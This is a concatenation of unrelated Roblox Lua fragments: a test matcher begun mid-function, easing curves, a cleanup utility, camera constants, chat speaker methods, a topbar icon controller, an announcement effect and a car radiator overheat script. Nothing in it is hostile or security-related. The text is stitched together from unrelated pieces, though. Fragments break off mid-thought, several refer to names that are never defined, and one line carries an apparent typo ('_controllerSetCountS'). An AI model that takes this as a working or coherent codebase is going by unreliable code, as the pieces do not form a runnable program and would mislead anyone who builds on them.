EXPECTED_COLOR("expected")), printWithType("Expected", expectedPath, printExpected) ) ) ) end local expectedPathLength if typeof(expectedPath) == "string" then expectedPathLength = #pathAsArray(expectedPath) else expectedPathLength = #expectedPath end if expectedPathType == "table" and expectedPathLength == 0 then error( Error( matcherErrorMessage( matcherHint(matcherName, nil, expectedArgument, options), string.format("%s path must not be an empty array", EXPECTED_COLOR("expected")), printWithType("Expected", expectedPath, printExpected) ) ) ) end local result = getPath(received, expectedPath) local lastTraversedObject = result.lastTraversedObject local hasEndProp = result.hasEndProp local receivedPath = result.traversedPath local hasCompletePath = #receivedPath == expectedPathLength local receivedValue if hasCompletePath then receivedValue = result.value else receivedValue = lastTraversedObject end local pass if hasValue then pass = equals(result.value, expectedValue, { iterableEquality }) else pass = not not hasEndProp -- theoretically undefined if empty path end -- Remove type cast if we rewrite getPath as iterative algorithm. -- ROBLOX deviation: omit code block for dealing with upstream edge case with undefined expectedValues local message if pass then message = function() local retval = matcherHint(matcherName, nil, expectedArgument, options) .. "\n\n" if hasValue then retval = retval .. string.format("Expected path: %s\n\n", printExpected(expectedPath)) .. string.format("Expected value: never %s", printExpected(expectedValue)) if stringify(expectedValue) ~= stringify(receivedValue) then return retval .. string.format("\nReceived value: %s", printReceived(receivedValue)) end return retval else return retval .. string.format("Expected path: never %s\n\n", printExpected(expectedPath)) .. string.format("Received value: %s", printReceived(receivedValue)) end end else message = function() local retval = matcherHint(matcherName, nil, expectedArgument, options) .. "\n\n" .. string.format("Expected path: %s\n", printExpected(expectedPath)) if hasCompletePath then return retval .. "\n" .. printDiffOrStringify( expectedValue, receivedValue, EXPECTED_VALUE_LABEL, RECEIVED_VALUE_LABEL, isExpand(self.expand) ) end retval = retval .. "Received path: " if expectedPathType == "table" or #receivedPath == 0 then retval = retval .. string.format("%s\n\n", printReceived(receivedPath)) else retval = retval .. string.format("%s\n\n", printReceived(table.concat(receivedPath, "."))) end if hasValue then retval = retval .. string.format("Expected value: %s\n", printExpected(expectedValue)) end return retval .. string.format("Received value: %s", printReceived(receivedValue)) end end return { message = message, pass = pass } end
--[[Shutdown]]
car.DriveSeat.ChildRemoved:Connect(function(child) if child.Name=="SeatWeld" and child:IsA("Weld") then script.Parent:Destroy() end end)
-- @specs https://design.firefox.com/photon/motion/duration-and-easing.html
local MozillaCurve = Bezier(0.07, 0.95, 0, 1) local function Smooth(T) return T * T * (3 - 2 * T) end local function Smoother(T) return T * T * T * (T * (6 * T - 15) + 10) end local function RidiculousWiggle(T) return math.sin(math.sin(T * 3.141592653589793115997963468544185161590576171875) * 1.5707963267948965579989817342720925807952880859375) end local function Spring(T) return 1 + (-math.exp(-6.9 * T) * math.cos(-20.1061929829746759423869661986827850341796875 * T)) end local function SoftSpring(T) return 1 + (-math.exp(-7.5 * T) * math.cos(-10.05309649148733797119348309934139251708984375 * T)) end local function OutBounce(T) return T < 0.36363636363636364645657295113778673112392425537109375 and 7.5625 * T * T or T < 0.7272727272727272929131459022755734622478485107421875 and 3 + T * (11 * T - 12) * 0.6875 or T < 0.90909090909090906063028114658663980662822723388671875 and 6 + T * (11 * T - 18) * 0.6875 or 7.875 + T * (11 * T - 21) * 0.6875 end local function InBounce(T) if T > 0.63636363636363635354342704886221326887607574462890625 then T = T - 1 return 1 - T * T * 7.5625 elseif T > 0.2727272727272727070868540977244265377521514892578125 then return (11 * T - 7) * (11 * T - 3) / -16 elseif T > 0.0909090909090909116141432377844466827809810638427734375 then return (11 * (4 - 11 * T) * T - 3) / 16 else return T * (11 * T - 1) * -0.6875 end end return setmetatable({ Linear = Linear; OutSmooth = Smooth; InSmooth = Smooth; InOutSmooth = Smooth; OutSmoother = Smoother; InSmoother = Smoother; InOutSmoother = Smoother; OutRidiculousWiggle = RidiculousWiggle; InRidiculousWiggle = RidiculousWiggle; InOutRidiculousWiggle = RidiculousWiggle; OutRevBack = RevBack; InRevBack = RevBack; InOutRevBack = RevBack; OutSpring = Spring; InSpring = Spring; InOutSpring = Spring; OutSoftSpring = SoftSpring; InSoftSpring = SoftSpring; InOutSoftSpring = SoftSpring; InSharp = Sharp; InOutSharp = Sharp; OutSharp = Sharp; InAcceleration = Acceleration; InOutAcceleration = Acceleration; OutAcceleration = Acceleration; InStandard = Standard; InOutStandard = Standard; OutStandard = Standard; InDeceleration = Deceleration; InOutDeceleration = Deceleration; OutDeceleration = Deceleration; InFabricStandard = FabricStandard; InOutFabricStandard = FabricStandard; OutFabricStandard = FabricStandard; InFabricAccelerate = FabricAccelerate; InOutFabricAccelerate = FabricAccelerate; OutFabricAccelerate = FabricAccelerate; InFabricDecelerate = FabricDecelerate; InOutFabricDecelerate = FabricDecelerate; OutFabricDecelerate = FabricDecelerate; InUWPAccelerate = UWPAccelerate; InOutUWPAccelerate = UWPAccelerate; OutUWPAccelerate = UWPAccelerate; InStandardProductive = StandardProductive; OutStandardProductive = StandardProductive; InOutStandardProductive = StandardProductive; InStandardExpressive = StandardExpressive; OutStandardExpressive = StandardExpressive; InOutStandardExpressive = StandardExpressive; InEntranceProductive = EntranceProductive; OutEntranceProductive = EntranceProductive; InOutEntranceProductive = EntranceProductive; InEntranceExpressive = EntranceExpressive; OutEntranceExpressive = EntranceExpressive; InOutEntranceExpressive = EntranceExpressive; InExitProductive = ExitProductive; OutExitProductive = ExitProductive; InOutExitProductive = ExitProductive; InExitExpressive = ExitExpressive; OutExitExpressive = ExitExpressive; InOutExitExpressive = ExitExpressive; OutMozillaCurve = MozillaCurve; InMozillaCurve = MozillaCurve; InOutMozillaCurve = MozillaCurve; InQuad = function(T) return T * T end; OutQuad = function(T) return T * (2 - T) end; InOutQuad = function(T) return T < 0.5 and 2 * T * T or 2 * (2 - T) * T - 1 end; InCubic = function(T) return T * T * T end; OutCubic = function(T) return 1 - (1 - T) * (1 - T) * (1 - T) end; InOutCubic = function(T) return T < 0.5 and 4 * T * T * T or 1 + 4 * (T - 1) * (T - 1) * (T - 1) end; InQuart = function(T) return T * T * T * T end; OutQuart = function(T) T = T - 1 return 1 - T * T * T * T end; InOutQuart = function(T) if T < 0.5 then T = T * T return 8 * T * T else T = T - 1 return 1 - 8 * T * T * T * T end; end; InQuint = function(T) return T * T * T * T * T end; OutQuint = function(T) T = T - 1 return T * T * T * T * T + 1 end; InOutQuint = function(T) if T < 0.5 then return 16 * T * T * T * T * T else T = T - 1 return 16 * T * T * T * T * T + 1 end; end; InBack = function(T) return T * T * (3 * T - 2) end; OutBack = function(T) return (T - 1) * (T - 1) * (T * 2 + T - 1) + 1 end; InOutBack = function(T) return T < 0.5 and 2 * T * T * (2 * 3 * T - 2) or 1 + 2 * (T - 1) * (T - 1) * (2 * 3 * T - 2 - 2) end; InSine = function(T) return 1 - math.cos(T * 1.5707963267948965579989817342720925807952880859375) end; OutSine = function(T) return math.sin(T * 1.5707963267948965579989817342720925807952880859375) end; InOutSine = function(T) return (1 - math.cos(3.141592653589793115997963468544185161590576171875 * T)) / 2 end; OutBounce = OutBounce; InBounce = InBounce; InOutBounce = function(T) return T < 0.5 and InBounce(2 * T) / 2 or OutBounce(2 * T - 1) / 2 + 0.5 end; InElastic = function(T) return math.exp((T * 0.9638073641881153008625915390439331531524658203125 - 1) * 8) * T * 0.9638073641881153008625915390439331531524658203125 * math.sin(4 * T * 0.9638073641881153008625915390439331531524658203125) * 1.8752275007428715891677484250976704061031341552734375 end; OutElastic = function(T) return 1 + (math.exp(8 * (0.9638073641881153008625915390439331531524658203125 - 0.9638073641881153008625915390439331531524658203125 * T - 1)) * 0.9638073641881153008625915390439331531524658203125 * (T - 1) * math.sin(4 * 0.9638073641881153008625915390439331531524658203125 * (1 - T))) * 1.8752275007428715891677484250976704061031341552734375 end; InOutElastic = function(T) return T < 0.5 and (math.exp(8 * (2 * 0.9638073641881153008625915390439331531524658203125 * T - 1)) * 0.9638073641881153008625915390439331531524658203125 * T * math.sin(2 * 4 * 0.9638073641881153008625915390439331531524658203125 * T)) * 1.8752275007428715891677484250976704061031341552734375 or 1 + (math.exp(8 * (0.9638073641881153008625915390439331531524658203125 * (2 - 2 * T) - 1)) * 0.9638073641881153008625915390439331531524658203125 * (T - 1) * math.sin(4 * 0.9638073641881153008625915390439331531524658203125 * (2 - 2 * T))) * 1.8752275007428715891677484250976704061031341552734375 end; InExpo = function(T) return T * T * math.exp(4 * (T - 1)) end; OutExpo = function(T) return 1 - (1 - T) * (1 - T) / math.exp(4 * T) end; InOutExpo = function(T) return T < 0.5 and 2 * T * T * math.exp(4 * (2 * T - 1)) or 1 - 2 * (T - 1) * (T - 1) * math.exp(4 * (1 - 2 * T)) end; InCirc = function(T) return -(math.sqrt(1 - T * T) - 1) end; OutCirc = function(T) T = T - 1 return math.sqrt(1 - T * T) end; InOutCirc = function(T) T = T * 2 if T < 1 then return -(math.sqrt(1 - T * T) - 1) / 2 else T = T - 2 return (math.sqrt(1 - T * T) - 1) / 2 end end; }, { __index = function(_, Index) error(tostring(Index) .. " is not a valid easing style.", 2) end; })
--[=[ @param name string @param priority number @param fn (dt: number) -> () Calls `RunService:BindToRenderStep` and registers a function in the trove that will call `RunService:UnbindFromRenderStep` on cleanup. ```lua trove:BindToRenderStep("Test", Enum.RenderPriority.Last.Value, function(dt) -- Do something end) ``` ]=]
function Trove:BindToRenderStep(name: string, priority: number, fn: (dt: number) -> ()) RunService:BindToRenderStep(name, priority, fn) self:Add(function() RunService:UnbindFromRenderStep(name) end) end
--Instructions-- --1) Copy this into a local script. --2) place the local script into "StarterPlayerScripts" --3) The script should then disable swimming in your game,
-- Note: DotProduct check in CoordinateFrame::lookAt() prevents using values within about -- 8.11 degrees of the +/- Y axis, that's why these limits are currently 80 degrees
local MIN_Y = math.rad(-80) local MAX_Y = math.rad(80) local VR_ANGLE = math.rad(15) local VR_LOW_INTENSITY_ROTATION = Vector2.new(math.rad(15), 0) local VR_HIGH_INTENSITY_ROTATION = Vector2.new(math.rad(45), 0) local VR_LOW_INTENSITY_REPEAT = 0.1 local VR_HIGH_INTENSITY_REPEAT = 0.4 local ZERO_VECTOR2 = Vector2.new(0,0) local ZERO_VECTOR3 = Vector3.new(0,0,0) local SEAT_OFFSET = Vector3.new(0,5,0) local VR_SEAT_OFFSET = Vector3.new(0,4,0) local HEAD_OFFSET = Vector3.new(0,1.5,0) local R15_HEAD_OFFSET = Vector3.new(0, 1.5, 0) local R15_HEAD_OFFSET_NO_SCALING = Vector3.new(0, 2, 0) local HUMANOID_ROOT_PART_SIZE = Vector3.new(2, 2, 1) local GAMEPAD_ZOOM_STEP_1 = 0 local GAMEPAD_ZOOM_STEP_2 = 10 local GAMEPAD_ZOOM_STEP_3 = 20 local ZOOM_SENSITIVITY_CURVATURE = 0.5 local FIRST_PERSON_DISTANCE_MIN = 0.5 local Util = require(script.Parent:WaitForChild("CameraUtils")) local ZoomController = require(script.Parent:WaitForChild("ZoomController")) local CameraToggleStateController = require(script.Parent:WaitForChild("CameraToggleStateController")) local CameraInput = require(script.Parent:WaitForChild("CameraInput")) local CameraUI = require(script.Parent:WaitForChild("CameraUI"))
--TheNexusAvenger --Creates a bomb explosion. Minor modifications from the Rocket Launcher.
local Configuration = require(script.Parent:WaitForChild("Configuration")) local FORCE_GRANULARITY = Configuration.FORCE_GRANULARITY local BLAST_RADIUS = Configuration.BLAST_RADIUS local BLAST_PRESSURE = Configuration.BLAST_PRESSURE * FORCE_GRANULARITY local ExplosionCreator = {} local Debris = game:GetService("Debris") local ReplicatedStorage = game:GetService("ReplicatedStorage") local Configuration = require(script.Parent:WaitForChild("Configuration")) local PlayerDamager = require(script.Parent:WaitForChild("PlayerDamager"))
--////////////////////////////// Methods --//////////////////////////////////////
local methods = {} methods.__index = methods function methods:SayMessage(message, channelName, extraData) if (self.ChatService:InternalDoProcessCommands(self.Name, message, channelName)) then return end if (not channelName) then return end local channel = self.Channels[channelName:lower()] if (not channel) then error("Speaker is not in channel \"" .. channelName .. "\"") end local messageObj = channel:InternalPostMessage(self, message, extraData) if (messageObj) then local success, err = pcall(function() self.eSaidMessage:Fire(messageObj, channelName) end) if not success and err then print("Error saying message: " ..err) end end return messageObj end function methods:JoinChannel(channelName) if (self.Channels[channelName:lower()]) then warn("Speaker is already in channel \"" .. channelName .. "\"") return end local channel = self.ChatService:GetChannel(channelName) if (not channel) then error("Channel \"" .. channelName .. "\" does not exist!") end self.Channels[channelName:lower()] = channel channel:InternalAddSpeaker(self) local success, err = pcall(function() self.eChannelJoined:Fire(channel.Name, channel.WelcomeMessage) end) if not success and err then print("Error joining channel: " ..err) end end function methods:LeaveChannel(channelName) if (not self.Channels[channelName:lower()]) then warn("Speaker is not in channel \"" .. channelName .. "\"") return end local channel = self.Channels[channelName:lower()] self.Channels[channelName:lower()] = nil channel:InternalRemoveSpeaker(self) local success, err = pcall(function() self.eChannelLeft:Fire(channel.Name) end) if not success and err then print("Error leaving channel: " ..err) end end function methods:IsInChannel(channelName) return (self.Channels[channelName:lower()] ~= nil) end function methods:GetChannelList() local list = {} for i, channel in pairs(self.Channels) do table.insert(list, channel.Name) end return list end function methods:SendMessage(message, channelName, fromSpeaker, extraData) local channel = self.Channels[channelName:lower()] if (channel) then channel:SendMessageToSpeaker(message, self.Name, fromSpeaker, extraData) else warn(string.format("Speaker '%s' is not in channel '%s' and cannot receive a message in it.", self.Name, channelName)) end end function methods:SendSystemMessage(message, channelName, extraData) local channel = self.Channels[channelName:lower()] if (channel) then channel:SendSystemMessageToSpeaker(message, self.Name, extraData) else warn(string.format("Speaker '%s' is not in channel '%s' and cannot receive a system message in it.", self.Name, channelName)) end end function methods:GetPlayer() return self.PlayerObj end function methods:SetExtraData(key, value) self.ExtraData[key] = value self.eExtraDataUpdated:Fire(key, value) end function methods:GetExtraData(key) return self.ExtraData[key] end function methods:SetMainChannel(channelName) local success, err = pcall(function() self.eMainChannelSet:Fire(channelName) end) if not success and err then print("Error setting main channel: " ..err) end end
----[[ Color Settings ]]
module.BackGroundColor = Color3.new(0, 0, 0) module.DefaultMessageColor = Color3.new(1, 1, 1) module.DefaultNameColor = Color3.new(1, 1, 1) module.ChatBarBackGroundColor = Color3.new(0, 0, 0) module.ChatBarBoxColor = Color3.new(1, 1, 1) module.ChatBarTextColor = Color3.new(0, 0, 0) module.ChannelsTabUnselectedColor = Color3.new(0, 0, 0) module.ChannelsTabSelectedColor = Color3.new(1, 0.333333, 0) module.DefaultChannelNameColor = Color3.fromRGB(255, 170, 0) module.WhisperChannelNameColor = Color3.fromRGB(102, 14, 102) module.ErrorMessageTextColor = Color3.fromRGB(255, 170, 0)
-- goro7
local plr = game.Players.LocalPlayer local inputService = game:GetService("UserInputService") local guiService = game:GetService("GuiService") function close() -- Set not visible plr.PlayerGui.GUIClick:Play() game.ReplicatedStorage.Interactions.Server.UpdateTradeSession:FireServer(4) script.Parent.Parent.EndSession:Fire(true) guiService.SelectedObject = nil end script.Parent.MouseButton1Click:connect(close) inputService.InputBegan:connect(function(inputObj) if inputObj.KeyCode == Enum.KeyCode.ButtonB and script.Parent.Parent.Visible then close() end end)
-- Get the LocalPlayer and PlayerGui
local Players = game:GetService("Players") local player = Players.LocalPlayer local playerGui = player:WaitForChild("PlayerGui")
--repeat wait() until script.Parent.HumanoidRootPart
local a = 0 local x = math.cos(a) local z = math.sin(a) local c = script.Parent.HumanoidRootPart.Position local count = 5 local nodes = {} local function Spin() for i,n in pairs(nodes) do local b = a+ i*(360/#nodes) x = math.cos(math.rad(b)) z = math.sin(math.rad(b)) game:GetService("TweenService"):Create(n,TweenInfo.new(.2,Enum.EasingStyle.Quart),{Position = c + Vector3.new(x,0,z)*5}):Play() end end local function Start(count) for i=1,count do local n = Instance.new('Part',workspace) n.Anchored = true n.Size = Vector3.new(1,1,1) n.CanCollide = false n:ClearAllChildren() n.Parent = workspace table.insert(nodes,n) end local b = 360/#nodes c = script.Parent.Position a=a+15 local spincoro = coroutine.create(Spin) return spincoro end
----------------
local ZoomDistance = 40 local L_150_ = {}
-- Starter Character Scripts
function Death() wait(0.2) local Tool = script.Parent:FindFirstChildWhichIsA("Tool") if Tool then local M = script.Contain:Clone() M.Parent = game.Workspace M.Disabled = false if Tool:FindFirstChild("Handle") and script.Parent:FindFirstChildWhichIsA("Part") then Tool.Handle.Position = script.Parent:FindFirstChildWhichIsA("Part").Position Tool.Handle.Velocity = Vector3.new(0,0,0) Tool.Handle.RotVelocity = Vector3.new(0,0,0) Tool.Handle.CanCollide = true Tool.Parent = M end end local Player = game.Players:GetPlayerFromCharacter(script.Parent) if Player then local Value = 0 local M = script.Contain:Clone() M.Parent = game.Workspace M.Disabled = false while true do local C = Player.Backpack:GetChildren() if #C <= 0 or (script.Configuration.DropAll.Value == false and Value >= script.Configuration.DropLimit.Value) then break end for i = 1,#C do if math.random(1,1000) == 1000 then if C[i]:FindFirstChild("Handle") and Player.Character:FindFirstChildWhichIsA("Part") then C[i].Handle.Position = Player.Character:FindFirstChildWhichIsA("Part").Position C[i].Handle.Velocity = Vector3.new(0,0,0) C[i].Handle.RotVelocity = Vector3.new(0,0,0) C[i].Handle.CanCollide = true C[i].Parent = M end Value = Value + 1 end if script.Configuration.DropAll.Value == false and Value >= script.Configuration.DropLimit.Value then break end end end end end script.Parent.Humanoid.Died:connect(Death)
-- PRIVATE METHODS
function IconController:_updateSelectionGroup(clearAll) if IconController._navigationEnabled then guiService:RemoveSelectionGroup("TopbarPlusIcons") end if clearAll then guiService.CoreGuiNavigationEnabled = IconController._originalCoreGuiNavigationEnabled guiService.GuiNavigationEnabled = IconController._originalGuiNavigationEnabled IconController._navigationEnabled = nil elseif IconController.controllerModeEnabled then local icons = IconController.getIcons() local iconContainers = {} for i, otherIcon in pairs(icons) do local featureName = otherIcon.joinedFeatureName if not featureName or otherIcon._parentIcon[otherIcon.joinedFeatureName.."Open"] == true then table.insert(iconContainers, otherIcon.instances.iconButton) end end guiService:AddSelectionTuple("TopbarPlusIcons", table.unpack(iconContainers)) if not IconController._navigationEnabled then IconController._originalCoreGuiNavigationEnabled = guiService.CoreGuiNavigationEnabled IconController._originalGuiNavigationEnabled = guiService.GuiNavigationEnabled guiService.CoreGuiNavigationEnabled = false guiService.GuiNavigationEnabled = true IconController._navigationEnabled = true end end end local function getScaleMultiplier() if guiService:IsTenFootInterface() then return 3 else return 1.3 end end function IconController._setControllerSelectedObject(object) local startId = (IconController._controllerSetCount and IconController._controllerSetCount + 1) or 0 IconController._controllerSetCount = startId guiService.SelectedObject = object task.delay(0.1, function() local finalId = IconController._controllerSetCountS if startId == finalId then guiService.SelectedObject = object end end) end function IconController._enableControllerMode(bool) local indicator = TopbarPlusGui.Indicator local controllerOptionIcon = IconController.getIcon("_TopbarControllerOption") if IconController.controllerModeEnabled == bool then return end IconController.controllerModeEnabled = bool if bool then TopbarPlusGui.TopbarContainer.Position = UDim2.new(0,0,0,5) TopbarPlusGui.TopbarContainer.Visible = false local scaleMultiplier = getScaleMultiplier() indicator.Position = UDim2.new(0.5,0,0,5) indicator.Size = UDim2.new(0, 18*scaleMultiplier, 0, 18*scaleMultiplier) indicator.Image = "rbxassetid://5278151556" indicator.Visible = checkTopbarEnabledAccountingForMimic() indicator.Position = UDim2.new(0.5,0,0,5) indicator.Active = true controllerMenuOverride = indicator.InputBegan:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseButton1 then IconController.setTopbarEnabled(true,false) end end) else TopbarPlusGui.TopbarContainer.Position = UDim2.new(0,0,0,0) TopbarPlusGui.TopbarContainer.Visible = checkTopbarEnabledAccountingForMimic() indicator.Visible = false IconController._setControllerSelectedObject(nil) end for icon, _ in pairs(topbarIcons) do IconController._enableControllerModeForIcon(icon, bool) end end function IconController._enableControllerModeForIcon(icon, bool) local parentIcon = icon._parentIcon local featureName = icon.joinedFeatureName if parentIcon then icon:leave() end if bool then local scaleMultiplier = getScaleMultiplier() local currentSizeDeselected = icon:get("iconSize", "deselected") local currentSizeSelected = icon:get("iconSize", "selected") local currentSizeHovering = icon:getHovering("iconSize") icon:set("iconSize", UDim2.new(0, currentSizeDeselected.X.Offset*scaleMultiplier, 0, currentSizeDeselected.Y.Offset*scaleMultiplier), "deselected", "controllerMode") icon:set("iconSize", UDim2.new(0, currentSizeSelected.X.Offset*scaleMultiplier, 0, currentSizeSelected.Y.Offset*scaleMultiplier), "selected", "controllerMode") if currentSizeHovering then icon:set("iconSize", UDim2.new(0, currentSizeSelected.X.Offset*scaleMultiplier, 0, currentSizeSelected.Y.Offset*scaleMultiplier), "hovering", "controllerMode") end icon:set("alignment", "mid", "deselected", "controllerMode") icon:set("alignment", "mid", "selected", "controllerMode") else local states = {"deselected", "selected", "hovering"} for _, iconState in pairs(states) do local _, previousAlignment = icon:get("alignment", iconState, "controllerMode") if previousAlignment then icon:set("alignment", previousAlignment, iconState) end local currentSize, previousSize = icon:get("iconSize", iconState, "controllerMode") if previousSize then icon:set("iconSize", previousSize, iconState) end end end if parentIcon then icon:join(parentIcon, featureName) end end local createdFakeHealthbarIcon = false function IconController.setupHealthbar() if createdFakeHealthbarIcon then return end createdFakeHealthbarIcon = true -- Create a fake healthbar icon to mimic the core health gui task.defer(function() runService.Heartbeat:Wait() local Icon = require(iconModule) Icon.new() :setProperty("internalIcon", true) :setName("_FakeHealthbar") :setRight() :setOrder(-420) :setSize(80, 32) :lock() :set("iconBackgroundTransparency", 1) :give(function(icon) local healthContainer = Instance.new("Frame") healthContainer.Name = "HealthContainer" healthContainer.BackgroundColor3 = Color3.fromRGB(0, 0, 0) healthContainer.BorderSizePixel = 0 healthContainer.AnchorPoint = Vector2.new(0, 0.5) healthContainer.Position = UDim2.new(0, 0, 0.5, 0) healthContainer.Size = UDim2.new(1, 0, 0.2, 0) healthContainer.Visible = true healthContainer.ZIndex = 11 healthContainer.Parent = icon.instances.iconButton local corner = Instance.new("UICorner") corner.CornerRadius = UDim.new(1, 0) corner.Parent = healthContainer local healthFrame = healthContainer:Clone() healthFrame.Name = "HealthFrame" healthFrame.BackgroundColor3 = Color3.fromRGB(167, 167, 167) healthFrame.BorderSizePixel = 0 healthFrame.AnchorPoint = Vector2.new(0.5, 0.5) healthFrame.Position = UDim2.new(0.5, 0, 0.5, 0) healthFrame.Size = UDim2.new(1, -2, 1, -2) healthFrame.Visible = true healthFrame.ZIndex = 12 healthFrame.Parent = healthContainer local healthBar = healthFrame:Clone() healthBar.Name = "HealthBar" healthBar.BackgroundColor3 = Color3.fromRGB(255, 255, 255) healthBar.BorderSizePixel = 0 healthBar.AnchorPoint = Vector2.new(0, 0.5) healthBar.Position = UDim2.new(0, 0, 0.5, 0) healthBar.Size = UDim2.new(0.5, 0, 1, 0) healthBar.Visible = true healthBar.ZIndex = 13 healthBar.Parent = healthFrame local START_HEALTHBAR_COLOR = Color3.fromRGB(27, 252, 107) local MID_HEALTHBAR_COLOR = Color3.fromRGB(250, 235, 0) local END_HEALTHBAR_COLOR = Color3.fromRGB(255, 28, 0) local function powColor3(color, pow) return Color3.new( math.pow(color.R, pow), math.pow(color.G, pow), math.pow(color.B, pow) ) end local function lerpColor(colorA, colorB, frac, gamma) gamma = gamma or 2.0 local CA = powColor3(colorA, gamma) local CB = powColor3(colorB, gamma) return powColor3(CA:Lerp(CB, frac), 1/gamma) end local firstTimeEnabling = true local function listenToHealth(character) if not character then return end local humanoid = character:WaitForChild("Humanoid", 10) if not humanoid then return end local function updateHealthBar() local realHealthbarEnabled = starterGui:GetCoreGuiEnabled(Enum.CoreGuiType.Health) local healthInterval = humanoid.Health / humanoid.MaxHealth if healthInterval == 1 or IconController.healthbarDisabled or (firstTimeEnabling and realHealthbarEnabled == false) then if icon.enabled then icon:setEnabled(false) end return elseif healthInterval < 1 then if not icon.enabled then icon:setEnabled(true) end firstTimeEnabling = false if realHealthbarEnabled then starterGui:SetCoreGuiEnabled(Enum.CoreGuiType.Health, false) end end local startInterval = 0.9 local endInterval = 0.1 local m = 1/(startInterval - endInterval) local c = -m*endInterval local colorIntervalAbsolute = (m*healthInterval) + c local colorInterval = (colorIntervalAbsolute > 1 and 1) or (colorIntervalAbsolute < 0 and 0) or colorIntervalAbsolute local firstColor = (healthInterval > 0.5 and START_HEALTHBAR_COLOR) or MID_HEALTHBAR_COLOR local lastColor = (healthInterval > 0.5 and MID_HEALTHBAR_COLOR) or END_HEALTHBAR_COLOR local doubleSubtractor = (1-colorInterval)*2 local modifiedColorInterval = (healthInterval > 0.5 and (1-doubleSubtractor)) or (2-doubleSubtractor) local newHealthFillColor = lerpColor(lastColor, firstColor, modifiedColorInterval) local newHealthFillSize = UDim2.new(healthInterval, 0, 1, 0) healthBar.BackgroundColor3 = newHealthFillColor healthBar.Size = newHealthFillSize end humanoid.HealthChanged:Connect(updateHealthBar) IconController.healthbarDisabledSignal:Connect(updateHealthBar) updateHealthBar() end localPlayer.CharacterAdded:Connect(function(character) listenToHealth(character) end) task.spawn(listenToHealth, localPlayer.Character) end) end) end function IconController._determineControllerDisplay() local mouseEnabled = userInputService.MouseEnabled local controllerEnabled = userInputService.GamepadEnabled local controllerOptionIcon = IconController.getIcon("_TopbarControllerOption") if mouseEnabled and controllerEnabled then -- Show icon (if option not disabled else hide) if not disableControllerOption then controllerOptionIcon:setEnabled(true) else controllerOptionIcon:setEnabled(false) end elseif mouseEnabled and not controllerEnabled then -- Hide icon, disableControllerMode controllerOptionIcon:setEnabled(false) IconController._enableControllerMode(false) controllerOptionIcon:deselect() elseif not mouseEnabled and controllerEnabled then -- Hide icon, _enableControllerMode controllerOptionIcon:setEnabled(false) IconController._enableControllerMode(true) end end
--Receive announcements
local goalTransparency = announcement.Transparency function createAnnouncement(message) announcement.AnnouncementText.Text = "" announcement.AnnouncementText.TextTransparency = 0 announcement.Transparency = 1 announcement.Visible = true local fadeTweenInfo = TweenInfo.new(0.4, Enum.EasingStyle.Quad, Enum.EasingDirection.InOut) local fadeInTween = ts:Create(announcement, fadeTweenInfo, {Transparency = goalTransparency}) fadeInTween:Play() task.wait(0.3) for i = 1, string.len(message) do announcement.AnnouncementText.Text = string.sub(message, 1, i) local currentChar = string.sub(message, i, i) task.wait(currentChar == "\n" and 0.3 or currentChar == " " and 0.04 or 0.02) end local announcementTime = string.len(message) / 16 task.wait(announcementTime) local fadeOutTween = ts:Create(announcement, fadeTweenInfo, {Transparency = 1}) fadeOutTween:Play() local fadeTextTween = ts:Create(announcement.AnnouncementText, fadeTweenInfo, {TextTransparency = 1}) fadeTextTween:Play() fadeTextTween.Completed:Wait() announcement.Visible = false end re.OnClientEvent:Connect(function(instruction, message) if instruction == "ANNOUNCE" then createAnnouncement(message) end end)
--[[ BaseCamera - Abstract base class for camera control modules 2018 Camera Update - AllYourBlox --]]
--easter egg
mouse.KeyDown:connect(function(key) if key=="o" then Heat = BlowupTemp-11 end end) if not FE then radiator.Oil.Enabled = false radiator.Antifreeze.Enabled = false radiator.Liquid.Volume = 0 radiator.Fan:Play() radiator.Fan.Pitch = 1+FanSpeed radiator.Steam:Play() radiator.Liquid:Play() script.Blown.Value = false while wait(.2) do if Heat > FanTemp and Fan == true then FanCool = -FanSpeed radiator.Fan.Volume = FanVolume else FanCool = 0 radiator.Fan.Volume = 0 end Load = ((script.Parent.Parent.Values.Throttle.Value*script.Parent.Parent.Values.RPM.Value*10*OverheatSpeed)/math.ceil((car.DriveSeat.Velocity.magnitude+.0000001)/100)/75000)-CoolingEfficiency Heat = math.max(RunningTemp,(Heat+Load)+FanCool) if Heat >= BlowupTemp then Heat = BlowupTemp radiator.Break:Play() radiator.Liquid.Volume = .5 radiator.Oil.Enabled = true radiator.Antifreeze.Enabled = true script.Parent.Parent.IsOn.Value = false script.Blown.Value = true elseif Heat >= BlowupTemp-10 then radiator.Smoke.Transparency = NumberSequence.new((BlowupTemp-Heat)/10,1) radiator.Smoke.Enabled = true radiator.Steam.Volume = math.abs(((BlowupTemp-Heat)-10)/10) else radiator.Smoke.Enabled = false radiator.Steam.Volume = 0 end script.Celsius.Value = Heat script.Parent.Temp.Text = math.floor(Heat).."°c" end else handler:FireServer("Initialize",FanSpeed) while wait(.2) do if Heat > FanTemp and Fan == true then FanCool = -FanSpeed handler:FireServer("FanVolume",FanVolume) else FanCool = 0 handler:FireServer("FanVolume",0) end Load = ((script.Parent.Parent.Values.Throttle.Value*script.Parent.Parent.Values.RPM.Value*10*OverheatSpeed)/math.ceil((car.DriveSeat.Velocity.magnitude+.0000001)/100)/75000)-CoolingEfficiency Heat = math.max(RunningTemp,(Heat+Load)+FanCool) if Heat >= BlowupTemp then Heat = BlowupTemp handler:FireServer("Blown") script.Parent.Parent.IsOn.Value = false script.Blown.Value = true elseif Heat >= BlowupTemp-10 then handler:FireServer("Smoke",true,BlowupTemp,Heat) else handler:FireServer("Smoke",false,BlowupTemp,Heat) end script.Celsius.Value = Heat script.Parent.Temp.Text = math.floor(Heat).."°c" end end
-- Function to handle slider button click
